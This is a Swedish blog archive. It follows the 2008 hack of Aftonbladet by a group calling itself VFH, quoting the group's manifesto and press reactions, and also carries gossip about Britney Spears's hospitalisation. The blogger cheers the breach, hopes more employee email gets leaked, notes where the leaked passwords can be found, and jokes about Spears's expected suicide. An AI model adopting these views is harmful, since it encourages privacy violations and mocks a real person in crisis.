Hackarna och många på Flashbacks forum menar att ni har mörkat det som hänt. Har ni det?
- Vi har skrivit om det så sent som i går. Vi har skrivit både på nätet och i papperstidningen. Vi måste rapportera om det som händer, även när det berör oss själva. Däremot vill vi inte gå in i enskildheter innan vi skaffat oss en egen bild av vad som hänt. Det sitter ett stort antal människor och arbetar med den här kartläggningen och vi vill ha en fullständig bild innan vi väljer att gå vidare med detta, säger Olof Brundin, informationsdirektör på Aftonbladet.

Får väl se vad som händer.

Uppdatering 5: En till skärmdump:

Uppdatering 6: Aftonbladet har stängt ner samtliga konton i sin annonstjänst och skickat ut det här mailet till samtliga kunder:

Från: Christofer (*@aftonbladet.se)
Skickat: den 5 januari 2008 17:50:05
Svara till: Christofer (*@aftonbladet.se)
Till: *

Viktig information!

Under dagen har det publicerats information på internet om ett intrång på Aftonbladets annonslämningssida. Denna tjänst används för att lämna annonsmaterial till print, alltså kvällstidningen Aftonbladet och morgontidningen Punkt SE. Den publicerade informationen innehöll inloggningsuppgifter till konton som ni har lämnat in annonser via.

Vi tar detta på största allvar och kommer därför att avsluta samtliga konton till denna tjänst.

Detta medför att ni kommer att behöva skapa ett nytt konto nästa gång ni ska lämna annonsmaterial, vilket ni gör direkt på annonslämningssidan.

Vi uppmanar er att välja ett nytt lösenord som ni använder endast för denna tjänst. Ni bör även se över om ni använt ert gamla lösenord på någon annan tjänst där den kan tänkas komma att missbrukas, såsom exempelvis Facebook, mejl eller MSN.

Återigen, vi tar detta på största allvar och beklagar det inträffade.

Ett förtydligande, allt annonsmaterial som kommer in till Aftonbladet kopplas ihop med en mottagen bokning med tillhörande bekräftelse och granskas före publicering.

För ytterligare frågor kring detta, vänligen kontakta ansvarig för Aftonbladets annonslämning: Christofer Poijes på telefon 08-725 27 53

För hjälp med att skapa nytt konto, kontakta Sandra Ramberg på telefon 08-725 25 87

Uppdatering 7: Kristofer har ringt och pratat med Expressen som valt att återigen inte publicera någonting gällande intrången hos aftonbladet. Enligt personen han pratat med beror det antagligen på något av följande:

1. Eftersom Expressen och Aftonbladet är så starka konkurrenter så skulle Expressens läsare bara tro att de smutskastar Aftonbladet. Jag försökte säga att det finns mycket starka källor som styrker det som hänt men det skulle tydligen inte spela någon roll för läsarna, de skulle tro att Expressen smutskastar Aftonbladet i alla fall, enligt kvällschefen.

2. Den här hackergruppen “Vuxna Förbannade Hackers” är ute efter uppmärksamhet och att ge dem den vore som att ge efter för deras krav, något man på Expressen inte ville bidra med. Då var det bättre att låta andra tidningar skriva om det enligt kvällschefen.

3. Det är lite känsligt att skriva om sånt här, speciellt innan Aftonbladets kunder själva fått informationen. Om de skulle läsa i Expressen att deras egna konton är hackade innan de vet om det själva så skulle inte det vara bra. Jag kan tänka mig att det vore en obehaglig känsla för dem men samtidigt måste ju någon informera, varför inte media?

Uppdatering 8: Aftonbladet har helt ändrat riktning och har nu bestämt sig för att samarbeta med terrorister och vika för utpressning. Se följande artikel:

En sammanslutning som kallar sig Vuxna Förbannade Hackare (VFH) gillar inte Aftonbladet.

Gruppen är extremt skickliga på datorer. Genom att ta sig in i Aftonbladets datasystem har de på punkt för punkt avslöjat svagheterna i våra system.

Så långt är det obehagligt för oss som arbetar på Aftonbladet och ett problem för oss som företag.

Den positiva sidan är att det för varje svaghet de avslöjar stärker vår säkerhet för framtiden.

Men helt säkra kommer datasystem aldrig att bli. Det är som lås på bilar. Den som är redo att begå brott kommer att kunna bryta sig in. Världens starkaste säkerhetssystem kring datorer omgärdar amerikanska försvarshögkvarteret Pentagon. Där tog sig hackare in så sent som i juni i fjol.

I går bevisade VFH att våra värsta farhågor var sanna: de har tagit sig långt in i våra system. I praktiken var materialet hackarna publicerade i går ett angrepp mot våra annonskunder. Det betyder att de är inne på domäner som ytterst rör Aftonbladets vd Carl Gyllfors och jag ska inte mer orda om det.

Men VFH:s nya uppgifter visar ytterligare en sak: De kan nu ha tillgång till information som är källskyddad enligt svensk grundlag. På ren svenska: journalisters kontakter med källor. Det är vårt allra heligaste.

I den stund Vuxna Förbannade Hackare skulle få för sig att sprida sådan information riktar sig deras attack inte längre mot Aftonbladet.

Då är det dig som medborgare VFH ger sig på. Din rätt att vara skyddad som källa om du vänder dig till en journalist för att få en orättvisa eller oförrätt granskad.

Varför gör Vuxna Förbannade Hackare detta? Låt oss lyssna på dem själva i sin programförklaring. Där skriver de:

”Folket måste göras påminda om att det media skiter ur sig och trycker på oss inte alltid är sanningen. Istället väljer man att köra på det som säljer och en jävla massa snyfthistorier och smutskastning av människor.”

Jag bläddrar i de senaste dagarnas tidningar som jag varit ansvarig utgivare för och försöker se vad som gjort VFH så förbannade.

Är det vårt avslöjande av biståndsskandalen i Tanzania?

Är det storyn om att några av Sveriges mest kända personer kommer att vittna i ett våldtäktsmål mot en svensk världsstjärna?

Är det vår ingående skildring av tragedin i Rödeby?

Vårt avslöjande att hemliga försvarsdokument legat och skräpat på ett bibliotek?

Är det de skakande bilderna på popikonen Britney Spears när hon förs i ambulans till psyket?

Vår förbehållslösa och översvallande glädje över Charlotte Kalla?

Jag är nytillträdd chefredaktör för Aftonbladet och på riktigt intresserad av vad i vår journalistik som gör Vuxna Förbannade Hackare så upprörda att de begår brott. Därför säger jag så här:

Kom och hälsa på mig på redaktionen söndag klockan 15.00, eller på måndag samma tid. Vi kan göra något så omodernt men mysigt som att dricka eftermiddagskaffe. Jag ska med spänning lyssna på er och förklara hur jag ser på saken.

Andra bloggar om: Aftonbladet, Vuxna Förbannade Hackare, Datorsäkerhet

Nu har det dykt upp lite mer information gällande Britney Spears psykbryt tidigare idag. Till att börja med rapporterar The New York post att Britney ska ha låst in sig med barnen på toaletten när Kevin Federline kom för att hämta dom.

According to reports, when Kevin Federline’s bodyguard showed up to collect Sean Preston and Jayden James, Britney locked herself in the bathroom with both boys and wouldn’t come out. She also refused to let the boys leave, so cops were called to the house. A source told PageSix.com that Britney was “hysterical and just wanted to keep the kids overnight.”

Vidare berättar dom även att en domare beslutat under eftermiddagen att Kevin Federline får all vårdnad för barnen.

Britney Spears’ three-hour drunken standoff with ex-husband Kevin Federline over their children has cost her more than trip to the hospital for psychiatric evaluation. She also has lost custody rights to her two sons.

A judge this afternoon awarded Federline sole custody of the boys.

OK Magazine har postat en genomgång om vad som hänt Britney det senaste dygnet.

11:32 a.m.: Britney, in a bright fuschia halter dress and heels, arrives over 90 minutes late to her final chance to give a court-ordered deposition in her custody battle with ex-husband Kevin Federline. She is only able to be deposed for approximately 14 minutes.

12:20 p.m.: Brit arrives back home at her gated community, The Summit. Her sons are there for their scheduled visit, as is a court-appointed monitor.

7 p.m.: K-Fed’s security team arrives to pick up boys Sean Preston and Jayden James and bring them back to their father’s house. When there is a delay in releasing the boys, Britney’s assistant, Carla, makes excuses for the pop star. However, it soon becomes clear that there is a problem.

At some point, 2-year-old Sean Preston is removed from the house, leaving only little Jayden inside with his mother.

8 p.m.: The police are notified of a custodial situation at Britney’s house and officers are dispatched to The Summit. But when they arrive, they find that the court-appointed monitor, who has been locked out of the house, is not in possession of the paperwork required to allow them to enter Britney’s house.

9:20 p.m.: K-Fed’s lawyer Mark Vincent Kaplan arrives at The Summit with the required paperwork. He and five police cars enter the gated community and drive up to Britney’s house.

10:30 p.m.: More than a dozen police officers, as well as two ambulances and a handful of fire rescue trucks are now on the scene. Sometime before 11 p.m., Britney’s cousin Alli and Brit’s assistant Carla leave the house, leaving Brit alone with Jayden James.

11:45 p.m.: Britney is taken out of her home strapped to a gurney and placed into an ambulance, which is escorted by 13 police cars with sirens blaring to Cedars-Sinai Medical Center, arriving at approximately 12:30 a.m. Jayden is brought to the hospital in a separate vehicle.

Police officers are inside the ambulance with Britney during the ride to the hospital. While nothing official has been stated on the topic, this is generally a sign that the patient is considered to be in police custody.

“We are concerned about her mental state and believe she may be under the influence,” an LAPD officer revealed to OK! at the time of Brit’s arrival at Cedars-Sinai.

Britney, who had been sobbing when taken from her home, appears distant and erratic as she is escorted out of the ambulance and into the hospital. “Her eyes were like pinholes,” another witness recalls to OK!.

Already waiting at the hospital’s emergency room is K-Fed and his lawyer Mark Vincent Kaplan, who tells OK!, “I actually don’t know what is going on.”

Britney’s pal Sam Lutfi followed the ambulance to the hospital and was initially denied entrance to see his troubled friend.

There is no sign of Britney’s newest boy-toy, photographer Adnan Ghalib.

1:15 a.m.: A surprise guest arrives — Britney’s estranged father Jamie Spears. The two had not seen each other in at least eight months. It is unknown as of now whether or not Britney’s mother Lynne, pregnant sister Jamie Lynn or brother Brian are on their way to L.A.

For now, sources are telling OK! that the plan is to keep Britney under guarded observation for 24 hours and then book her for as-yet-unnamed offensives.

Britney har alltså träffat sin Pappa igen för första gången på 8 månader. Ska bli spännande att se vad som händer här näst. Dags att börja satsa pengar på hur länge till hon lever nu?

Här följer ett helt gäng nya bilder tagna tidigare idag med:

Här har ni det SVD, DN, Aftonbladet och Expressen skrivit om det hela.

Andra bloggar om: Britney Spears

Nu har det vi alla väntat på till slut hänt. Britney har flippat ut totalt och hamnat på psyket. Är det den väntade psykosen som dykt upp eller är det bara ett förspel? Citerar People magazine:

At around 8 p.m. police responded to a call “about a custodial dispute regarding Britney Spears’s children,” said LAPD officer Jason Lee. Nearly three hours later, police determined that a court order stated that the singer’s children, who were with Spears at the time, were supposed to be with Kevin Federline, and a transfer was arranged, according to Lee. “While officers were on the scene, they observed Ms. Spears under the influence of an unknown substance,” Lee added. “She is now being taken in for an evaluation, more than likely to a hospital. There were no reported injuries to anyone involved including the children.”

Får se hur lång tid det tar innan det oundvikliga självmordet sker då. Här kommer iallafall lite sköna bilder:

Ska försöka uppdatera så fort det dyker upp mer information. Nu har iallafall SVD, DN, Aftonbladet och Expressen skrivit om det.

Uppdatering 1: Us Magazine skriver:

A hospital source tells Usmagazine.com that Spears has been designated a “special needs” patient, meaning “they have either overdosed or tried to commit suicide. So we go stay with these patients and monitor them constantly. We watch them so they don’t hurt themselves and watch the people who come visit them to make sure they don’t pass anything to them.”

Så Britney Spears har redan försökt ta livet av sig? För hon har ju inte tagit en överdos iallafall.

Lite nya bilder har jag fixat med:

Uppdatering 1: En ny video och lite ny information. Enligt TMZ så har Britneys son ävan han fått föras till sjukhus i ambulans. Mer information kommer väl snart.

Two ambulances left Britney’s house bound for Cedars-Sinai and TMZ has learned one was transporting Britney, the other had two-year-old Jayden James in it!

As to why Britney’s youngest was taken in the ambulance, we’re still working on that.

Andra bloggar om: Britney Spears, Aftonbladet, Expressen, Psykvård

Nu när det, tack vare att aftonbladet blivit hackade, är så mycket snack om hacking hit och dit så kan det vara läge att meddela folk om att första numret av ett nytt zine släpptes idag.

hckzine, som till största del handlar om datorsäkerhet, kan kanske lära er ett eller annat om just det. I första numret får du bland annat lära dig att koda schiffer och en introduktion till assemblerprogrammering.

Du kan läsa det här.

Andra bloggar om: Datorsäkerhet, hacking

Aftonbladet har gått och blivit hackade av Vuxna Förbannade Hackare. Tydligen var VFH arga för att dom inte fick uppmärksamhet av aftonbladet när dom hackade TV3 på nyårsafton och bestämde sig därför för att läcka ett gäng login och lösenord till aftonbladets mailsystem.

Hela storyn från VFH själva: [Har dock censurerat bort lösenorden men dom hittar ni hos flashback]

OK. Att hacka tv3 på deras födelsedag var tydligen inget stort. Aftonbladet
skriver hellre om en ful jävla hundjävel som springer från smällare?!
Härregud! Vi får helt enkelt prova på någonting annat för att nå ut till vårat
förfallande samhälle. Vad sägs om någonting annorlunda? Enbart för att VI ÄR
ANNORLUNDA OCH KOMMER FÖRBLI ANNORLUNDA! Vi tillhör inte den skittråkiga
kategorin människor som går upp 7.00 varje dag, äter frukost, sätter sig på
tunnelbanan och läser påhittade historier ur serietidningen aftonbladet,
klockan 09.00 sätter sig på ett jätteviktigt möte som inte ger ett skit,
klockan 12.00 äter man lunch som sambon fått lov att laga dagen innan, klockan
17.00 går man hem, inte en minut före eller efter, det är viktigt att inte
stanna kvar eller gå hem tidigare, allt måste vara EXAKT lika SKITTRÅKIGT
VARJE DAG.

Det var cirka 2 år sedan vi hackade aftonbladet för första gången, vi lyckades
ta oss in i deras annonsystem och skapade egna annonser för att skyffla trafik
till våra egna verksamheter. Efter ett tag tröttnade vi och fick för oss att vi
ville ha nyheter före alla andra och började gräva i vart alla tips som kom
till deras sms-tjänst tog vägen. Det tog cirka en natt och vi var inne och
kunde läsa nyhter före alla andra. Var faktiskt riktigt skoj att se hurmycket
bra nyheter aftonbladet totalt ignorerade. MEN på något sätt lyckades vi bli
upptäckta och servern togs ur drift.

Vi blev ju självklart nyfikna på vad som hade hänt och hur de kunde upptäcka
oss först en hel dag efteråt när vi redan hade tagit bort de mest uppenbara
spåren. Det tog inte lång tid innan vi hade bestämt oss för att ge oss på
mailservern där vi var helt övertygade om att någonting om det här fanns.

Vi gav oss på mailservern och efter 2-3 dagar så var vi inne. Vi hade full
access till hela mailservern och kunde läsa och skicka vilka mail vi ville
(även backuper). De hade lyckats komma oss på spåren pga ett externt filter
som enligt dem scannas igenom en gång per dag efter annorlunda förfrågningar.
De skrattade och kallade oss scriptkiddies enbart därför att vi hade lagt en
fil i systemet som vi kallade “h4x” under attacken.

Att vi inte ansågs som riktiga 1337 h4XXX0rZ tog vi hårt och vi ville göra
någonting regält. Vi började fördjupa oss i vilka personer som gjorde vad,
tekniker, chefer, reportrar, annat löst folk osv. Efter några dagar så hade
vi en ganska bra överblick om vilka som gjorde vad och vi började monitorerera
de mest intressanta personerna. Precis som ett gäng besatta reportrar!

Att de hade ett externt filter vi inte visste hur det fungerade irriterade oss
fruktansvärt mycket och det fanns inte mycket information om
installationer/tjänster osv i någon av inboxarna. Då förstasidan var vårat mål
visste vi att vi inte kunde chansa så vi började filura ut metoder för att
komma runt filtret och började skriva på ider vi hade. Vi provade runt lite
och skyfflade trafik till och från deras “jobb”-server som vi tidigare hackat.
*BOOOM* och jobb-servern var nere. Vi följde mailen om vad som hade hänt och
självklart var det där förbannade filtret igen. Men denna gång nämdes det
enheldel om vilka som skötte filtret och hur det fungerade. TACK. Nu kunde vi
äntligen komma runt filtret. Vi tog oss in i server efter server och vi kunde
nu ändra förstasidan när vi ville!

Vi bestämde oss för att ge oss på dns:en istället och skyffla trafiken till
andra servrar. Med tillgång till mailservern så var det ju inte alltför svårt
Men sen slog det oss. Att ändra förstasidan är standard och skittråkigt! Vi
vill göra nått annat ist. Någonting ANNORLUNDA, NÅGONTING SOM TAR HÅRT.
Vad sägs som att ge ut alla lösenord till alla anställda på aftonbladet till
allmänheten så de också får läsa deras mail? logga in på aftonbladets intern-sida
och tom koppla upp sig mot deras interna nät genom VPN? Skulle inte det vara
annorlunda och inte så tråkigt?

Sen måste jag säga att det är roligt att veta att de kommer ta veckor för dem
att hitta hur vi fick tag i dessa uppgifter. Hur många mail vi läst och sparat
Hur mycket SKADLIG INFORMATION SOM NÄR SOM HELST SKULLE KUNNA LÄCKA
UT TILL ALLMÄNHETEN BARA VI FICK LUST! MOHAHOHAHAHA.

För att bevisa att vi äger DNS:en. Slå upp whois-infon på aftonbladet.com. Och
ja domaininfo.com, vi äger er också. Vi äger faktiskt ganska mycket här på
nätet. Myndigheter, tidningar, register, stora företag, banker whatever och vi
kommer under året att bevisa det.

Dagen vi vill använda aftonbladets förstasida för att sprida information kommer
den med, vi vill bara förvarna dem! Scriptkiddes / aftonbladet, 5 - 0.

“The web is broken, can I please go home now?”

Vi behöver egentligen inga lösenord då vi tar oss fram på annan väg. Därför
har vi bara snabbcrackat fram några åt er så ni snabbt kan logga in och läsa.
Vad sägs om 1030 av 1208? duger det?

Anställda på aftonbladet kanske borde använda sina egna tips istället för att ha idiotiska saker som sitt eget förnamn eller “anakin” som lösenord förövrigt?

Ska bli spännande att se vad som händer med det här. Förhoppningsvis läcker någon en jävla massa epost iallafall.

Oh btw. Gott nytt år på er allihopa!

Uppdatering: sydsvenskan, Västerbottens-Kuriren, Göteborgs-Posten, HD, Dagens Media, Corren , SVT och IDG har skrivit om det hela nu.

– Det är inte mejlservern som har hackats, som det påstås, utan den externa åtkomsten av intranätet. Och där har vissa haft samma lösenord som till mejlen, förklarar Aftonbladets it-chef Oscar Edholm, som också han fått se sitt lösenord spritt till allmänheten på internet.

Uppdatering 2: Folk har märkt att flera anställda på aftonbladet har samma lösenord på facebook som dom hade på sin mail. Därav saker som dessa:

Uppdatering 3: Väldigt spännande att det GP lagt ut kommer från TT samtidigt som DN, EXPRESSEN och SVD inte publicerar detta trots att dom publicerar allt annat från TT? Låter som en vettig taktik med tanke på att VFH säger att dom hackade aftonbladet just för att dom inte publicerade någonting om att dom hade hackat TV3?

Uppdatering 4: I Dagens Medias artikel kan vi hitta:

Aftonbladet kommer att driva en process mot alla som har begått intrång.

- Det här är ett inbrott. Det är klart att vi ser till att detta polisanmäls. Försöker någon stjäla vår information, är det klart att vi måste gå till botten med detta.

.. så nu är det svettigt för kidsen på flashback!

- Vad som serveras i lunchmatsalen har de fått reda på.

Mm, för det var ju allt som fanns där, eller hur, Olof?

Uppdatering 5: Random roliga saker:

Uppdatering 6: Dagen efter:

Nu har det gått nästan ett dygn och medierna har börjat rapportera mer och mer om attacken. Duktigast är nog IDG som har skrivit en jävla massa men till och med Aftonbladet själva har skrivit lite nu.

Tråkigt att inte media har vett nog att ta det här så seriöst som det faktiskt är, men det kanske kommer?

Mediavärlden.se rapporterar iallafall att “Aftonbladet kartlägger attacken logg för logg“. Det ser alltså återigen lite risigt ut för kidsen på flashback som loggade in på första bästa mailkonto och skickade iväg lite random epost med könsord i.

DN skriver lite om säkerhet om hur dom anställda på aftonbladet är världens klåpare.

Den här länken leder till ett inslag om hacket från P3 tidigare idag. Rätt kul.

Metro har förövrigt den snyggaste bilden!

Uppdatering 7: Nyheterna tar upp det hela. (exklusiv cam-version!):

Uppdatering 8: Mer från Aftonbladet

Aftonbladet har publicerat en intervju med Oscar “Anakin” Edholm som är så full med lögner och damage control att det är löjligt. Se själva:

Vad hände?

– På servern som de attackerade ligger Aftonbladets intranät. Även om informationen på intranätet inte är hemlig är tjänsten lösenordsskyddad. Gruppen lyckades hacka tjänsten och få tillgång till krypterade lösenord, säger Aftonbladets IT-chef Oscar Edholm.

– Efter att ha dekrypterat lösenorden kunde hackarna logga in på tjänsten. De upptäckte även att ett fåtal medarbetare hade samma lösenord till sin mejl. I onsdags kväll lades inloggningsuppgifterna ut på internet.

Hur upptäcktes det?

– Aftonbladet fick nästan omedelbart tips om detta och stängde efter endast 50 minuter ner de berörda tjänsterna.

Hur kunde det hända?

– Hackarna upptäckte en svaghet som vi inte kände till.

Kan hackarna ha läst källskyddat material som funnits i mejlboxarna?

– Vår första analys visar att det är få konton som har haft obehörigt besök. Generellt lagrar inte medarbetare källskyddat material i sina mejlboxar. Det är alltså osannolikt att sådant material har spridits. Men det är för tidigt att ge ett helt säkert svar.

Hur många av de anställdas mejlboxar har råkat ut för intrång?

– Knappt ett dussin.

Hur hanterade Aftonbladet attacken?

– Redaktionen fick tipset och larmade tekniken, som i sin tur snabbt identifierade problemen och tog ner de berörda tjänsterna.

Vem ligger bakom attacken?

– Det vet vi inte.

Har Aftonbladet blivit hackat tidigare?

– Aftonbladet har tidigare haft intrångsförsök. Det följer av att vara en av Sveriges största sajter och medieaktörer.

Vad händer nu?

– Nu pågår en intern utredning med hjälp av säkerhetsexperter som i detalj utreder vad som hänt. Dessutom har Aftonbladet höjt säkerheten och vidtagit andra åtgärder för att det inte ska hända igen.

Kan jag lita på att mina mejl till Aftonbladet inte läses av obehöriga i framtiden?

– Vi tar vårt källskyddsansvar på absolut största allvar och nu får det givetvis ännu större fokus. Men e-post är aldrig en säker kanal. Det är som att skicka vykort med posten.

Det enda ärliga som sägs i den där intervjun är att e-post inte är säkrare än vykort.

Uppdatering 9: Resume skriver att e-postkonton ska ha vidarebefordras från Aftonbladet. Detta kanske betyder att någon kommer att läcka massor av e-post snart?

Uppdatering 10: Dagens Media fortsätter att vara dom som rapporterar mest gällande hacket. Nu har dom skrivit en artikel om läckta mail från Aftonbladet. Mailet i fråga postades dock på flashback-forumet ungefär en timme efter att lösenorden läckte så det känns inte som några nyheter direkt. Men det är bra att någon form av media som folk faktiskt läser rapporterar iaf. Det är förövrigt det här inlägget dom pratar om.

Sen har jag ett hett tips till anställda på Aftonbladet. Här kan ni få hjälp av journalistförbundet att sätta ett vettigt lösenord. Kanske något som Anakin borde läsa med?

Dom har gjort det igen.

Andra bloggar om: aftonbladet, vuxna förbannade hackers, vuxna förbannade hackare, datorsäkerhet, journalistik, internet